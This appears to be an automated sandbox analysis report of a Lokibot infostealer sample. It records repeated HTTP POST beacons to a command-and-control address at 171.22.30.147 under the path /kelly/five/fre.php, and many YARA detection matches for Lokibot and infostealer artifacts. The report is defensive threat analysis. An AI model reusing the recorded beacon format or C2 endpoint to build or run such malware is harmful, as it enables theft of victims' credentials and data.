Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 163Connection: close

Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147
Source: unknown	TCP traffic detected without corresponding DNS query: 171.22.30.147

Source: zlP981oop5.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: gblqfiy.exe, gblqfiy.exe, 00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp, gblqfiy.exe, 00000003.00000002.512147236.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.ibsensoftware.com/

Source: unknown

HTTP traffic detected: POST /kelly/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 171.22.30.147Accept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: BA36E926Content-Length: 190Connection: close

Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe

Code function: 3_2_00404ED4 recv,

Source: C:\Users\user\Desktop\zlP981oop5.exe

Code function: 0_2_00405809 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.2.gblqfiy.exe.a00000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 1.2.gblqfiy.exe.a00000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 1.2.gblqfiy.exe.a00000.1.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 1.2.gblqfiy.exe.a00000.1.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 3.2.gblqfiy.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 3.2.gblqfiy.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 3.2.gblqfiy.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 3.2.gblqfiy.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 3.2.gblqfiy.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 3.0.gblqfiy.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 3.0.gblqfiy.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 3.0.gblqfiy.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 3.0.gblqfiy.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 3.2.gblqfiy.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 3.2.gblqfiy.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 3.2.gblqfiy.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 3.2.gblqfiy.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 3.2.gblqfiy.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.gblqfiy.exe.a00000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 1.2.gblqfiy.exe.a00000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 1.2.gblqfiy.exe.a00000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 1.2.gblqfiy.exe.a00000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 1.2.gblqfiy.exe.a00000.1.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 3.0.gblqfiy.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 3.0.gblqfiy.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 3.0.gblqfiy.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 3.0.gblqfiy.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 3.0.gblqfiy.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.512147236.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 00000003.00000002.512147236.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 00000003.00000002.512147236.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 00000003.00000002.512147236.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000003.00000002.512147236.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.259652732.0000000000A00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 00000001.00000002.259652732.0000000000A00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 00000001.00000002.259652732.0000000000A00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 00000001.00000002.259652732.0000000000A00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000001.00000002.259652732.0000000000A00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: Process Memory Space: gblqfiy.exe PID: 5172, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: Process Memory Space: gblqfiy.exe PID: 5316, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown

Source: zlP981oop5.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 1.2.gblqfiy.exe.a00000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 1.2.gblqfiy.exe.a00000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 1.2.gblqfiy.exe.a00000.1.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 1.2.gblqfiy.exe.a00000.1.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 3.2.gblqfiy.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 3.2.gblqfiy.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 3.2.gblqfiy.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 3.2.gblqfiy.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 3.2.gblqfiy.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 3.0.gblqfiy.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 3.0.gblqfiy.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 3.0.gblqfiy.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 3.0.gblqfiy.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 3.2.gblqfiy.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 3.2.gblqfiy.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
